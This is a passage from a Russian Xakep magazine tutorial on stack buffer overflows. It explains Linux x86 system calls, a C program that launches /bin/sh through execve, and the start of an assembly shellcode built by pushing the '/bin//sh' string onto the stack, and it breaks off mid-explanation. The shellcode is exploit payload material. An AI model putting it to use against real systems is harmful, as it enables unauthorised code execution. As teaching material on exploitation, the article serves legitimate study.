|
Переполнение буфера в стеке. Шествие второе kas1e Xakep, номер #051, стр. 051-060-2 .globl _start // делаем _start метку видимой для линковщика (глобальной) _start: // начало программы Ассемблирование программ крайне простое: # as prog.s -o prog.o После этого линковка и создание исполнимого модуля: # ld prog.o -o prog Для того чтобы написать свой шеллкод, необходимо знать, что существуют различные системные вызовы. Это некие услуги ядра, которые предоставляются пользовательскому процессу. Вызовов этих достаточно много (более 200 под linux), и все они определены в /usr/include/asm/unistd.h: [bof]# head -n 20 /usr/include/asm/unistd.h #ifndef _ASM_I386_UNISTD_H_ #define _ASM_I386_UNISTD_H_ /* * This file contains the system call numbers. */ #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11 - вот и execve #define __NR_chdir 12 #define __NR_time 13 #define __NR_mknod 14 #define __NR_chmod 15 #define __NR_lchown 16 #define __NR_break 17 #define __NR_oldstat 18 #define __NR_lseek 19 #define __NR_getpid 20 #define __NR_mount 21 #define __NR_umount 22 #define __NR_setuid 23 #define __NR_getuid 24 #define __NR_stime 25 #define __NR_ptrace 26 ... и так далее ... [bof]# Формат работы с системными вызовами на ассемблере достаточно прост. В необходимые регистры заносятся нужные значения, а потом происходит обращение к 80-му прерыванию: В регистры ebx, ecx, edx - аргументы системного вызова. В регистр eax - номер системного вызова. Например, системный вызов exit будет выглядеть так: .globl _start _start: movl $1,%eax # номер системного вызова в eax int $0x80 # вызов 80-го прерывания Так как у exit нет аргументов, регистры ebx, ecx и edx не использовались. Теперь попробуем написать вызов execve (запустим /bin/sh). Для этого читаем man 2 execve и видим там, что для execve нужны 3 аргумента: NULL, NULL и имя запускаемой программы (в нашем случае /bin/sh). Для начала напишем такой вызов на С: [bof]# cat >shellcode.c #include <stdio.h> main() { char *shell[2]; // символьный буфер. shell[0] = "/bin/sh"; // имя запускаемой программы. shell[1] = NULL; // внешние переменные. execve(shell[0], shell, NULL); // запускаем /bin/sh. } [bof]# gcc -static shellcode.c -o shellcode [bof]# ./shellcode sh-2.04# exit exit [bof]# Теперь ты при желании можешь просто дизассемблировать функцию execve и посмотреть, как она работает (именно для этого и добавлен ключ -static). В случае отсутствия такого желания, разберем код на ассемблере: .globl _start _start: xorl %eax,%eax # очищаем eax (получаем NULL) pushl %eax # засунули в стек NULL pushl $0x68732f2f # в стек символы: hs// pushl $0x6e69622f # в стек символы: nib/ movl %esp,%ebx # адрес этих символов в ebx регистр pushl %eax # засунули в стек еще NULL pushl %ebx # и адрес по которому /bin/sh в стек # теперь у нас в стеке лежат: NULL, NULL и адрес /bin/sh, а также адрес, по |